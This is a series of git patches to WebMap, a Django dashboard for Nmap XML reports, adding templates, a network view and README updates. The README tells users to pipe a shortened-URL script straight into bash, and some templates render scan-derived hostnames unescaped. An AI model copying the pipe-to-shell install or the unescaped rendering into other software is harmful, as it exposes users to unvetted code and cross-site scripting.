- - - - - - - - - diff --git a/templates/nmapreport/main.html b/templates/nmapreport/main.html new file mode 100644 index 0000000..7ed429f --- /dev/null +++ b/templates/nmapreport/main.html @@ -0,0 +1,166 @@ +{% load static %} + + + + WebMap + + + + + + + + + + + + + + + + + + + + + +

+ + {% block content %} + {% endblock %} + + + + + {{ cpestring|safe }} + + + + + diff --git a/templates/nmapreport/nmap_hostdetails.html b/templates/nmapreport/nmap_hostdetails.html new file mode 100644 index 0000000..2d87294 --- /dev/null +++ b/templates/nmapreport/nmap_hostdetails.html @@ -0,0 +1,110 @@ +{% extends "nmapreport/main.html" %} + +{% block content %} +

+ +

Scan Information

Ports Status

Top Ports / Services

+ Start Time: {{ stats.startstr }}
+ Scan Type: {{ stats.scantype }}
+ Scan Protocol: {{ stats.protocol }}
+ Nmap Command: details
+

+ +

+ Scan Details +

+ Nmap version: {{ stats.nmapver }}
+ XML version: {{ stats.xmlver }} +

+ PDF Report + Check for CVE and Exploits + Network View +

+ +

HOSTS UP

OPEN PORTS

CLOSED PORTS

FILTERED PORTS

+ +

Services:

+ {{ stats.services|safe }}

+ Top 10 Ports:
{{ stats.portids|safe }}

+ OS Type List:
{{ stats.ostypes|safe }}

+

+ + {{ js|safe }} + +

+ + + + + + {% for i,v in tr.items %} + + + {{ v.portstate|safe }} + + + + + + {% endfor %} + +

Host	Port State	Tot Ports	Services	Ports
+ {{ v.hostindex }} + {{ v.newlabelout\|safe }} + {{ i }}{{ v.hostname\|safe }} + {{ v.notesout\|safe }} + {{ v.cveout\|safe }} +	+ {{ v.totports }} +	{{ v.services\|safe }}	+ {{ v.ports\|safe }} +	+ + Vulnerable + Critical + Warning + Checked + Remove label + + Insert notes + {{ v.removenotes\|safe }} + + + +

+{% endblock %} diff --git a/templates/nmapreport/nmap_network.html b/templates/nmapreport/nmap_network.html new file mode 100644 index 0000000..05c3552 --- /dev/null +++ b/templates/nmapreport/nmap_network.html @@ -0,0 +1,92 @@ +{% extends "nmapreport/main.html" %} + +{% block content %} + +

+ + + + {{ js|safe }} + +{% endblock %} diff --git a/templates/nmapreport/nmap_portdetails.html b/templates/nmapreport/nmap_portdetails.html new file mode 100644 index 0000000..8587b2b --- /dev/null +++ b/templates/nmapreport/nmap_portdetails.html @@ -0,0 +1,93 @@ +{% extends "nmapreport/main.html" %} + +{% block content %} +

+ +

+ {{ address }} +

{{ scanfile }} +
Back to hosts +

+ +

+ + + + + + + {% for i,v in tr.items %} + + + + + + + {% endfor %} + + +

Port	Product / Version	Extra Info
+ {% if v.state == 'filtered' %} + + {% elif v.state == 'closed' %} + + {% elif v.state == 'open' %} + + {% endif %} + {{ v.protocol }} / {{ v.portid }} + + Service: {{ v.service }} + State: {{ v.state }} + Reason: {{ v.reason }} + +	+ {{ v.product\|safe }} + {{ v.version\|safe }} +	+ {{ v.extrainfo\|safe }} +	+ + Show details + + Copy as curl command + Copy as nikto command + Copy as telnet command + +

+ + {% if notes %} +

+ Notes: + {{ notes|safe }} +

+ {% endif %} + + {% if cvelist %} +

+ CVE List: + {{ cvelist|safe }} +

+ {% endif %} + +

+ + {{ js|safe }} +{% endblock %} diff --git a/templates/nmapreport/nmap_xmlfiles.html b/templates/nmapreport/nmap_xmlfiles.html new file mode 100644 index 0000000..fb906a8 --- /dev/null +++ b/templates/nmapreport/nmap_xmlfiles.html @@ -0,0 +1,75 @@ +{% extends "nmapreport/main.html" %} + +{% block content %} +

+ {{ stats.xmlcount }} +

XML Files

+ {{ stats.po }} +

Open ports

+ {{ stats.pc }} +

Closed ports

+ {{ stats.pf }} +

Filtered ports

+ +

+ + + + + + + + + + {% for i,v in tr.items %} + + + + + + + + {% endfor %} + +

Filename	Timestamp	Host Count	Stats
{{ v.filename }}	`{{ v.startstr }}`	{{ v.hostnum }}	+ {{ v.portstats.po }} + {{ v.portstats.pc }} + {{ v.portstats.pf }} +	view

+ +

+

+ {{ webmapver|safe }} +

+ +

+{% endblock %} diff --git a/urls.py b/urls.py index 17924dd..bd0b362 100644 --- a/urls.py +++ b/urls.py @@ -1,5 +1,5 @@ from django.urls import path -from . import views, api, pdf +from . import views, api, pdf, network urlpatterns = [ path('', views.index, name='index'), @@ -15,5 +15,6 @@ path('api/savenotes/', api.saveNotes, name='genPDF'), path('api/rmnotes//', api.rmNotes, name='api_rmnotes'), path('api/

//', api.port_details, name='api_port'), - path('view/pdf/', pdf.reportPDFView, name='reportPDFView') + path('view/pdf/', pdf.reportPDFView, name='reportPDFView'), + path('view/network/', network.visjs, name='network_view') ] diff --git a/views.py b/views.py index 90c7df0..143db40 100644 --- a/views.py +++ b/views.py @@ -16,7 +16,7 @@ def setscanfile(request, scanfile): if 'scanfile' in request.session: del(request.session['scanfile']) - return render(request, 'nmapreport/index.html', { 'out': '', 'table': '', 'scaninfo': '', 'scandetails': '', 'trhost': '' }) + return render(request, 'nmapreport/nmap_hostdetails.html', { 'js': '' }) def port(request, port): @@ -56,20 +56,7 @@ def details(request, address): noteshost[m.group(1)][m.group(2)] = open('/opt/notes/'+nf, 'r').read() # collect all cve in cvehost dict - cvehost = {} - cvefiles = os.listdir('/opt/notes') - for cf in cvefiles: - m = re.match('^('+scanmd5+')_([a-z0-9]{32,32})\.([0-9]+)\.cve$', cf) - if m is not None: - if m.group(1) not in cvehost: - cvehost[m.group(1)] = {} - - if m.group(2) not in cvehost[m.group(1)]: - cvehost[m.group(1)][m.group(2)] = {} - - cvehost[m.group(1)][m.group(2)][m.group(3)] = open('/opt/notes/'+cf, 'r').read() - - + cvehost = get_cve(scanmd5) r['trhead'] = 'PortProduct / VersionExtra Info ' pel=0 @@ -87,14 +74,21 @@ def details(request, address): if ai['@addrtype'] == 'ipv4': saddress = ai['@addr'] - if str(saddress) == address: - #r['out'] = json.dumps(i, indent=4) - h = 'No Hostname' - if 'hostnames' in i: - if type(i['hostnames']) is dict and 'hostname' in i['hostnames']: - if '@name' in i['hostnames']['hostname']: - h = ''+i['hostnames']['hostname']['@name']+'' + hostname = '' + if 'hostnames' in i and type(i['hostnames']) is dict: + # hostname = json.dumps(i['hostnames']) + if 'hostname' in i['hostnames']: + hostname += '
' + if type(i['hostnames']['hostname']) is list: + for hi in i['hostnames']['hostname']: + hostname += ''+hi['@type']+': '+hi['@name']+'
' + else: + hostname += ''+i['hostnames']['hostname']['@type']+': '+i['hostnames']['hostname']['@name']+'
' + + r['address'] = html.escape(str(saddress)) + r['hostname'] = hostname + r['scanfile'] = request.session['scanfile'] labelout = '' if scanmd5 in labelhost: @@ -103,14 +97,11 @@ def details(request, address): labelmargin = labelToMargin(labelhost[scanmd5][addressmd5]) labelout = ''+html.escape(labelhost[scanmd5][addressmd5])+'' - r['scaninfo'] = '

'+\ - '

Host Details:

'+html.escape(address)+'

'+h+labelout+'

'+\ - '

' + r['label'] = html.escape(labelhost[scanmd5][addressmd5]) + r['labelcolor'] = labelcolor rmdupl = {} + r['tr'] = {} for pobj in i['ports']['port']: if type(pobj) is dict: p = pobj @@ -168,6 +159,17 @@ def details(request, address): else: cpe = ''+html.escape(p['service']['cpe'])+'
' + r['tr'][p['@portid']] = { + 'service': p['service']['@name'], + 'protocol': p['@protocol'], + 'portid': p['@portid'], + 'product': z, + 'version': v, + 'state': p['state']['@state'], + 'reason': p['state']['@reason'], + 'extrainfo': e, + 'pel': str(pel) + } r['trhost'] += ''+\ ''+p['service']['@name']+'
'+\ @@ -183,11 +185,27 @@ def details(request, address): ''+\ '' elif p['state']['@state'] == 'filtered': + r['tr'][p['@portid']] = { + 'service': p['service']['@name'], + 'protocol': p['@protocol'], + 'portid': p['@portid'], + 'state': p['state']['@state'], + 'reason': p['state']['@reason'], + 'pel': str(pel) + } r['trhost'] += ''+p['@protocol']+' / '+p['@portid']+'
'+\ ''+p['service']['@name']+''+\ 'State: filtered
Reason: '+p['state']['@reason']+''+\ '' else: + r['tr'][p['@portid']] = { + 'service': p['service']['@name'], + 'protocol': p['@protocol'], + 'portid': p['@portid'], + 'state': p['state']['@state'], + 'reason': p['state']['@reason'], + 'pel': str(pel) + } r['trhost'] += ''+p['@protocol']+' / '+p['@portid']+'
'+\ ''+p['service']['@name']+''+\ 'State: '+p['state']['@state']+'
Reason: '+p['state']['@reason']+''+\ @@ -207,43 +225,37 @@ def details(request, address): ' '+base64.b64decode(urllib.parse.unquote(notesb64)).decode('ascii')+\ '

'+\ '

' - - #notesout = '
contains notes' - #removenotes = '

Remove notes

' + r['notes'] = base64.b64decode(urllib.parse.unquote(notesb64)).decode('ascii') cveout = '' if scanmd5 in cvehost: if addressmd5 in cvehost[scanmd5]: - for cveport in cvehost[scanmd5][addressmd5]: - cvejson = json.loads(cvehost[scanmd5][addressmd5][cveport]) - # r['out'] = json.dumps(cvejson, indent=4) - for cveobj in cvejson: - - cverefout = '' - for cveref in cveobj['references']: - cverefout += ''+cveref+'
' - - cveexdbout = '' - if 'exploit-db' in cveobj: - cveexdbout = '

Exploit DB:
' - for cveexdb in cveobj['exploit-db']: - if 'title' in cveexdb: - cveexdbout += ''+html.escape(cveexdb['title'])+'
' - cveexdbout += '

' - - cveout += '

'+\ - ' '+html.escape(cveobj['id'])+' '+html.escape(cveobj['summary'])+'

'+\ - '

References:
'+cverefout+'

'+\ - cveexdbout+\ - '

' - - r['table'] += '

'+\ - '

CVE LIST:'+\ - cveout+\ - '

'+\ - '

' - - r['pretable'] = '' - return render(request, 'nmapreport/index.html', r) + return render(request, 'nmapreport/nmap_portdetails.html', r) def index(request, filterservice="", filterportid=""): r = {} + gitcmd = os.popen('cd /opt/nmapdashboard/nmapreport && git rev-parse --abbrev-ref HEAD') + r['webmapver'] = 'WebMap '+gitcmd.read()+'
This project is currently a beta, please DO NOT expose WebMap to internet.
This version is NOT production ready.' + if 'scanfile' in request.session: oo = xmltodict.parse(open('/opt/xml/'+request.session['scanfile'], 'r').read()) r['out2'] = json.dumps(oo['nmaprun'], indent=4) @@ -270,39 +285,8 @@ def index(request, filterservice="", filterportid=""): # no file selected xmlfiles = os.listdir('/opt/xml') - r['table'] = '

'+\ - ' Put your Nmap XML files in /opt/xml/ directory, example:

'+\ - '

nmap -A -T4 -oX myscan.xml 192.168.1.0/24
'+\ - ' mv myscan.xml <docker webmap xml dir>

'+\ - ' # or you can copy myscan.xml to the webmap container:
'+\ - ' docker cp myscan.xml webmap:/opt/xml/

'+\ - '

' - - r['table'] += '

'+\ - '

'+\ - ' Made with by Andrea theMiddle Menin

'+\ - '

'+\ - '

'+\ - ' A Rev3rse Security Project'+\ - ' '+\ - '

'+\ - '

Support us & Follow us

'+\ - ' WebMap on GitHub
'+\ - ' Rev3rse Security on Twitter
'+\ - ' Rev3rse Security on YouTube
'+\ - ' '+\ - '

'+\ - '

' - - - r['trhost'] = '' - r['trhead'] = 'FilenameScan Start TimeHosts ' + r['tr'] = {} + r['stats'] = { 'po':0, 'pc':0, 'pf':0} xmlfilescount = 0 for i in xmlfiles: @@ -311,7 +295,12 @@ def index(request, filterservice="", filterportid=""): xmlfilescount = (xmlfilescount + 1) - oo = xmltodict.parse(open('/opt/xml/'+i, 'r').read()) + try: + oo = xmltodict.parse(open('/opt/xml/'+i, 'r').read()) + except: + r['tr'][i] = {'filename':html.escape(i), 'startstr': 'Incomplete / Invalid', 'hostnum':0, 'href':'#!', 'portstats':{'po':0,'pc':0,'pf':0}} + continue + r['out2'] = json.dumps(oo['nmaprun'], indent=4) o = json.loads(r['out2']) @@ -328,29 +317,23 @@ def index(request, filterservice="", filterportid=""): else: viewhref = '/" disabled="disabled' - r['trhost'] += ''+\ - ' '+html.escape(i)+''+\ - ' '+html.escape(o['@startstr'])+''+\ - ' '+hostnum+''+\ - ' view'+\ - '' + portstats = nmap_ports_stats(i) - r['scaninfo'] = 'Select a Nmap XML file

Nmap XML files: '+ str(xmlfilescount) +'

' + r['stats']['po'] = (r['stats']['po'] + portstats['po']) + r['stats']['pc'] = (r['stats']['pc'] + portstats['pc']) + r['stats']['pf'] = (r['stats']['pf'] + portstats['pf']) - return render(request, 'nmapreport/index.html', r) + r['tr'][i] = {'filename':html.escape(i), 'startstr': html.escape(o['@startstr']), 'hostnum':hostnum, 'href':viewhref, 'portstats':portstats} - scanmd5 = hashlib.md5(str(request.session['scanfile']).encode('utf-8')).hexdigest() - r['topcontainer'] = '

'+\ - ' '+\ - ' '+\ - ' '+\ - '

'+\ - '

' + r['stats']['xmlcount'] = xmlfilescount + + return render(request, 'nmapreport/nmap_xmlfiles.html', r) + + + scanmd5 = hashlib.md5(str(request.session['scanfile']).encode('utf-8')).hexdigest() + r['scanfile'] = html.escape(str(request.session['scanfile'])) + r['scanmd5'] = scanmd5 # collect all labels in labelhost dict labelhost = {} @@ -373,18 +356,7 @@ def index(request, filterservice="", filterportid=""): noteshost[m.group(1)][m.group(2)] = open('/opt/notes/'+nf, 'r').read() # collect all cve in cvehost dict - cvehost = {} - cvefiles = os.listdir('/opt/notes') - for cf in cvefiles: - m = re.match('^('+scanmd5+')_([a-z0-9]{32,32})\.([0-9]+)\.cve$', cf) - if m is not None: - if m.group(1) not in cvehost: - cvehost[m.group(1)] = {} - - if m.group(2) not in cvehost[m.group(1)]: - cvehost[m.group(1)][m.group(2)] = {} - - cvehost[m.group(1)][m.group(2)][m.group(3)] = open('/opt/notes/'+cf, 'r').read() + cvehost = get_cve(scanmd5) tableout = '' hostsup = 0 @@ -392,8 +364,8 @@ def index(request, filterservice="", filterportid=""): ports = { 'open': 0, 'closed': 0, 'filtered': 0 } allostypelist, sscount, picount, cpe = {}, {}, {}, {} - r['trhost'] = '' - r['trhead'] = 'HostPort StateTot PortsServicesPorts ' + r['tr'] = {} + r['stats'] = {} for ik in o['host']: @@ -404,9 +376,15 @@ def index(request, filterservice="", filterportid=""): i = o['host'] hostname = '' - if 'hostnames' in i and type(i['hostnames']) is dict: - hostname += '
'+str(i['hostnames']['hostname']['@name'])+'' + # hostname = json.dumps(i['hostnames']) + if 'hostname' in i['hostnames']: + hostname += '
' + if type(i['hostnames']['hostname']) is list: + for hi in i['hostnames']['hostname']: + hostname += ''+hi['@type']+': '+hi['@name']+'
' + else: + hostname += ''+i['hostnames']['hostname']['@type']+': '+i['hostnames']['hostname']['@name']+'
' if i['status']['@state'] == 'up': hostsup = (hostsup + 1) @@ -423,6 +401,7 @@ def index(request, filterservice="", filterportid=""): address = ai['@addr'] addressmd5 = hashlib.md5(str(address).encode('utf-8')).hexdigest() + cpe[address] = {} striggered = False if 'ports' in i and 'port' in i['ports']: @@ -447,19 +426,13 @@ def index(request, filterservice="", filterportid=""): pp[p['@portid']] = p['@portid'] # cpehtml = '' - cpe[address] = {} if 'cpe' in p['service']: if type(p['service']['cpe']) is list: for cpei in p['service']['cpe']: - if p['@portid'] not in cpe[address]: - cpe[address][p['@portid']] = {} - - cpe[address][p['@portid']][cpei] = cpei + cpe[address][cpei] = cpei else: - if p['@portid'] not in cpe[address]: - cpe[address][p['@portid']] = {} - - cpe[address][p['@portid']][p['service']['cpe']] = p['service']['cpe'] + cpe[address][p['service']['cpe']] = p['service']['cpe'] + if '@ostype' in p['service']: if p['service']['@ostype'] in allostypelist: @@ -512,11 +485,14 @@ def index(request, filterservice="", filterportid=""): poclass = 'zeroportopen' labelout = '' + newlabelout = '

' if scanmd5 in labelhost: if addressmd5 in labelhost[scanmd5]: labelcolor = labelToColor(labelhost[scanmd5][addressmd5]) labelmargin = labelToMargin(labelhost[scanmd5][addressmd5]) labelout = ''+html.escape(labelhost[scanmd5][addressmd5])+'' + newlabelout = '

'+html.escape(labelhost[scanmd5][addressmd5])+'

'+\ + '

' notesout,notesb64,removenotes = '','','' if scanmd5 in noteshost: @@ -529,50 +505,44 @@ def index(request, filterservice="", filterportid=""): cvecount = 0 if scanmd5 in cvehost: if addressmd5 in cvehost[scanmd5]: - for cveport in cvehost[scanmd5][addressmd5]: - cvejson = json.loads(cvehost[scanmd5][addressmd5][cveport]) - for cveobj in cvejson: - cvecount = (cvecount + 1) + cvejson = json.loads(cvehost[scanmd5][addressmd5]) + for cveobj in cvejson: + cvecount = (cvecount + 1) cveout = '
'+str(cvecount)+' CVE found' - # removenotes = '

Remove notes

' if (filterservice != "" and striggered is True) or (filterportid != "" and striggered is True) or (filterservice == "" and filterportid == ""): - portstateout = '

'+\ - '

'+str(po)+'

'+\ + portstateout = '

'+\ + '

'+str(po)+'

'+\ '

' if (filterservice != "" and striggered is True): - portstateout = '

'+\ - '

'+str(po)+'

'+\ + portstateout = '

'+\ + '

'+str(po)+'

'+\ '

' - r['trhost'] += ''+\ - ' '+str(hostindex)+''+\ - ' '+ostype+'
'+\ - ' '+str(address)+''+hostname+''+\ - notesout+\ - cveout+\ - ' '+\ - portstateout+\ - ' '+str((po + pf + pc))+''+\ - ' '+str(services[0:-2])+''+\ - ' '+str(tdports[0:-2])+''+\ - ' '+\ - ' '+\ - labelout+\ - ' '+\ - ' '+\ - '' + r['tr'][address] = { + 'hostindex': str(hostindex), + 'hostname': hostname, + 'ostype': ostype, + 'notes': notesout, + 'cve': cveout, + 'portstate': portstateout, + 'po': po, + 'pc': pc, + 'pf': pf, + 'totports': str((po + pf + pc)), + 'services': str(services[0:-2]), + 'ports': str(tdports[0:-2]), + 'addressmd5': addressmd5, + 'removenotes': removenotes, + 'labelout': labelout, + 'newlabelout': newlabelout, + 'notesb64': notesb64, + 'notesout': notesout, + 'cveout': cveout + } + hostindex = (hostindex + 1) # this fix single host report @@ -584,43 +554,28 @@ def index(request, filterservice="", filterportid=""): scaninfobox2 = '

' scaninfobox3 = '

' else: - scaninfobox2 = ''+\ - ' Filter port / service: '+html.escape(filterportid+filterservice)+'
'+\ - ' Total Ports: '+str(totports)+'
'+\ - ' Open Ports: '+str(ports['open'])+'
'+\ - ' Closed Ports: '+str(ports['closed'])+'
'+\ - ' Filtered Ports: '+str(ports['filtered'])+'
' + scaninfobox2 = '

'+\ + ' Filter port / service: '+html.escape(filterportid+filterservice)+'
'+\ + ' Total Ports: '+str(totports)+'
'+\ + ' Open Ports: '+str(ports['open'])+'
'+\ + ' Closed Ports: '+str(ports['closed'])+'
'+\ + ' Filtered Ports: '+str(ports['filtered'])+'

' scaninfobox3 = '

' - r['scaninfo'] = ''+\ - '

'+\ - '

Scan Information

'+\ - '

Ports Status

'+\ - '

Top Ports / Services

'+\ - '

'+\ - ' Start: '+o['@startstr']+'
'+\ - ' Scan Type: '+o['scaninfo']['@type']+'
'+\ - ' Scan Protocol: '+o['scaninfo']['@protocol']+'
'+\ - ' Nmap Command: view details'+\ - '

'+\ - '

'+\ - scaninfobox2+\ - '

'+\ - '

'+\ - scaninfobox3+\ - '

'+\ - '

' - - r['scandetails'] = '

'+\ - '

'+o['@args']+'

'+\ - '

'+\ - ' version: '+o['@version']+'
'+\ - ' xmloutputversion: '+o['@xmloutputversion']+'
'+\ - '

'+\ - '

' - + r['stats'] = { + 'scaninfobox2': scaninfobox2, + 'scaninfobox3': scaninfobox3, + 'startstr': o['@startstr'], + 'scantype': o['scaninfo']['@type'], + 'protocol': o['scaninfo']['@protocol'], + 'nmapver': o['@version'], + 'nmapargs': o['@args'], + 'xmlver': o['@xmloutputversion'], + 'hostsup': str(hostsup), + 'popen': ports['open'], + 'pclosed': ports['closed'], + 'pfiltered': ports['filtered'] + } allss = '' allsslabels = '' @@ -656,48 +611,35 @@ def index(request, filterservice="", filterportid=""): allostypelinks += ''+str(i)+', ' + r['stats']['services'] = allss[0:-2] + r['stats']['portids'] = allpilinks[0:-2] + r['stats']['ostypes'] = allostypelinks[0:-2] + r['pretable'] = '' + r['js'] = '' if filterservice == "" and filterportid == "": - r['pretable'] += '

'+\ - '

'+str(hostsup)+'

HOSTS UP

'+\ - '

'+str(ports['open'])+'

OPEN PORTS

'+\ - '

'+str(ports['closed'])+'

CLOSED PORTS

'+\ - '

'+str(ports['filtered'])+'

FILTERED PORTS

'+\ - '

Services:

'+\ - '

'+\ - ' '+allss[0:-2]+'

'+\ - ' Top 10 Ports:
'+allpilinks[0:-2]+'

'+\ - ' OS Type List:
'+allostypelinks[0:-2]+''+\ - '

'+\ - '

' - - r['pretable'] += '' + else: + r['pretablestyle'] = 'display:none;' - r['pretable'] += '' - #r['pretable'] += ''+\ - #' '+\ - #'

' - r['pretable'] += ' ' + cpedict = {} + #r['cpestring'] = '' + for cpeaddr in cpe: + for cpei in cpe[cpeaddr]: + if re.search('^cpe:.+:.+:.+:.+$', cpei) is not None: + #r['cpestring'] += cpei+'
' + if cpei not in cpedict: + cpedict[cpei] = {} + if cpeaddr not in cpedict[cpei]: + cpedict[cpei][cpeaddr] = 1 + + r['cpestring'] = ' ' - return render(request, 'nmapreport/index.html', r) + return render(request, 'nmapreport/nmap_hostdetails.html', r) + +def about(request): + r = {} + return render(request, 'nmapreport/nmap_about.html', r) From 3d7470cebaafab641176cefe99d112999e679569 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 17:53:59 +0000 Subject: [PATCH 19/77] update README --- README.md | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 1ac6067..9455cac 100644 --- a/README.md +++ b/README.md @@ -3,11 +3,9 @@ A Web Dashbord for Nmap XML Report

-![WebMap](https://i.imgur.com/U9S089v.png) +![WebMap](https://i.imgur.com/BOZVc8e.png) -![WebMap](https://i.imgur.com/Ptijc67.png) - -![WebMap](https://i.imgur.com/alWZix9.png) +![WebMap](https://i.imgur.com/33kpQ0J.png) ## Table Of Contents - [Usage](#usage) @@ -41,6 +39,21 @@ Now point your browser to http://localhost:8000 $ curl -sL http://bit.ly/webmapsetup | bash ``` +### Upgrade from previous release +```bash +$ # stop running webmap container +$ docker stop webmap + +$ # remove webmap container +$ docker rm webmap + +$ # pull new image from dockerhub +$ docker pull rev3rse/webmap + +$ # run WebMap +$ curl -sL http://bit.ly/webmapsetup | bash +``` + ## Video -- coming soon... @@ -69,6 +82,9 @@ thanks to the amazing API services by circl.lu, WebMap is able to looking for CV Not all CPE are checked over the circl.lu API, but only when a specific version is specified (for example: `cpe:/a:microsoft:iis:7.5` and not `cpe:/o:microsoft:windows`). +## Network View +![WebMap](https://i.imgur.com/j77jQz9.png) + ## Third Parts - [Django](https://www.djangoproject.com) - [Materialize CSS](https://materializecss.com) From 142ef0ce62dc1f3531d293895396139b14a25c4f Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 17:56:02 +0000 Subject: [PATCH 20/77] update README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 9455cac..7201d64 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,7 @@ A Web Dashbord for Nmap XML Report - [Features](#features) - [XML Filenames](#xml-filenames) - [CVE and Exploits](#cve-and-exploits) +- [Network View](#network-view) - [Third Parts](#third-parts) - [Security Issues](#security-issues) - [Contributors](#contributors) From 89f73a1da9df0d8d5c7f82fe1da6fe819973db0e Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 18:01:18 +0000 Subject: [PATCH 21/77] fix and update dockerfile --- docker/Dockerfile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docker/Dockerfile b/docker/Dockerfile index 5b14b0c..c2de1c3 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -28,8 +28,8 @@ RUN mkdir /opt/xml && mkdir /opt/notes && \ RUN pip3 install Django requests xmltodict && \ cd /opt/ && django-admin startproject nmapdashboard && cd /opt/nmapdashboard && \ - git clone https://github.com/Rev3rseSecurity/WebMap.git && \ - mv WebMap nmapreport && cd nmapreport && git checkout v2/master + git clone https://github.com/Rev3rseSecurity/WebMap.git nmapreport && \ + cd nmapreport && git checkout v2.1/master COPY settings.py /opt/nmapdashboard/nmapdashboard/ COPY urls.py /opt/nmapdashboard/nmapdashboard/ From dcdad7004e73d74df8ff38c63eaa61576f6b8c28 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 18:07:04 +0000 Subject: [PATCH 22/77] update readme --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index 7201d64..7d4a7d3 100644 --- a/README.md +++ b/README.md @@ -68,6 +68,12 @@ $ curl -sL http://bit.ly/webmapsetup | bash - Copy to clipboard as Nikto, Curl or Telnet commands - Search for CVE and Exploits based on CPE collected by Nmap +## Changes on v2.1 +- Better usage of Django template +- Fixed some Nmap XML parse problems +- Fixed CVE and Exploit collecting problems +- Add new Network View + ## XML Filenames When creating the PDF version of the Nmap XML Report, the XML filename is used as document title on the first page. WebMap will replace some parts of the filename as following: @@ -93,6 +99,7 @@ Not all CPE are checked over the circl.lu API, but only when a specific version - [Chart.js](https://www.chartjs.org) - [Wkhtmltopdf](https://wkhtmltopdf.org) - [API cve.circl.lu](https://cve.circl.lu) +- [vis.js](http://visjs.org/) ## Security Issues This app is not intended to be exposed on the internet. Please, **DO NOT expose** this app to the internet, use your localhost or, @@ -109,5 +116,6 @@ I'll mention all contributors in this section of the README file. - Neetx [@Neetx](https://github.com/Neetx) (bug on xml with no host up) ## Contacts +In order to receive updates about this project, please follow me on twitter:
Twitter: [@Menin_TheMiddle](https://twitter.com/Menin_TheMiddle)
YouTube: [Rev3rseSecurity](https://www.youtube.com/rev3rsesecurity) From a78e06ed4c945f364e784177414fced9a55fe756 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 18:12:23 +0000 Subject: [PATCH 23/77] update readme --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 7d4a7d3..39382c5 100644 --- a/README.md +++ b/README.md @@ -55,6 +55,10 @@ $ # run WebMap $ curl -sL http://bit.ly/webmapsetup | bash ``` +### Run without Docker +This project is designed to run on a Docker container. IMHO it isn't a good idea to run this on a custom Django installation, +but if you need it you can find all building steps inside the [Dockerfile](https://github.com/Rev3rseSecurity/WebMap/blob/v2.1/master/docker/Dockerfile). + ## Video -- coming soon... From 1a83344ab6328a5b03160d1e2fb6b706d063a3d6 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 18:14:11 +0000 Subject: [PATCH 24/77] update readme --- README.md | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/README.md b/README.md index 39382c5..1aa5f66 100644 --- a/README.md +++ b/README.md @@ -9,8 +9,8 @@ A Web Dashbord for Nmap XML Report ## Table Of Contents - [Usage](#usage) -- [Video](#video) - [Features](#features) +- [Changes on v2.1](#changes-on-v21) - [XML Filenames](#xml-filenames) - [CVE and Exploits](#cve-and-exploits) - [Network View](#network-view) @@ -59,9 +59,6 @@ $ curl -sL http://bit.ly/webmapsetup | bash This project is designed to run on a Docker container. IMHO it isn't a good idea to run this on a custom Django installation, but if you need it you can find all building steps inside the [Dockerfile](https://github.com/Rev3rseSecurity/WebMap/blob/v2.1/master/docker/Dockerfile). -## Video --- coming soon... - ## Features - Import and parse Nmap XML files - Statistics and Charts on discovered services, ports, OS, etc... From 1fbcdabe5df10e9f0dd31d2968ee22f737f39759 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 18:17:49 +0000 Subject: [PATCH 25/77] update readme --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 1aa5f66..890b263 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,7 @@ A Web Dashbord for Nmap XML Report - [Usage](#usage) - [Features](#features) - [Changes on v2.1](#changes-on-v21) +- [PDF Report](#pdf-report) - [XML Filenames](#xml-filenames) - [CVE and Exploits](#cve-and-exploits) - [Network View](#network-view) @@ -75,6 +76,9 @@ but if you need it you can find all building steps inside the [Dockerfile](https - Fixed CVE and Exploit collecting problems - Add new Network View +## PDF Report +![WebMap](https://i.imgur.com/alWZix9.png) + ## XML Filenames When creating the PDF version of the Nmap XML Report, the XML filename is used as document title on the first page. WebMap will replace some parts of the filename as following: From 160b092e9b0473a345a4d92e79343c94cfd420f8 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 19:02:05 +0000 Subject: [PATCH 26/77] fix error when host not found --- functions.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/functions.py b/functions.py index 1938d22..dd672a8 100644 --- a/functions.py +++ b/functions.py @@ -46,6 +46,9 @@ def nmap_ports_stats(scanfile): po,pc,pf = 0,0,0 + if 'host' not in o: + return {'po':0,'pc':0,'pf':0} + for ik in o['host']: if type(ik) is dict: i = ik From 4bc5be62abed9d1f8e4cadcf639c6c56e8c84af5 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 19:11:41 +0000 Subject: [PATCH 27/77] fix disabled link --- views.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/views.py b/views.py index 143db40..2e83e0c 100644 --- a/views.py +++ b/views.py @@ -315,7 +315,7 @@ def index(request, filterservice="", filterportid=""): if hostnum != '0': viewhref = '/setscanfile/'+html.escape(i) else: - viewhref = '/" disabled="disabled' + viewhref = '#!' portstats = nmap_ports_stats(i) From afd75ebb36dfc8ee625068e9f1c8917687e518f4 Mon Sep 17 00:00:00 2001 From: Rev3rse Security <36775664+Rev3rseSecurity@users.noreply.github.com> Date: Mon, 5 Nov 2018 10:10:27 +0100 Subject: [PATCH 28/77] Update issue templates --- .github/ISSUE_TEMPLATE/bug_report.md | 25 +++++++++++++++++++++++ .github/ISSUE_TEMPLATE/feature_request.md | 17 +++++++++++++++ 2 files changed, 42 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/feature_request.md diff --git 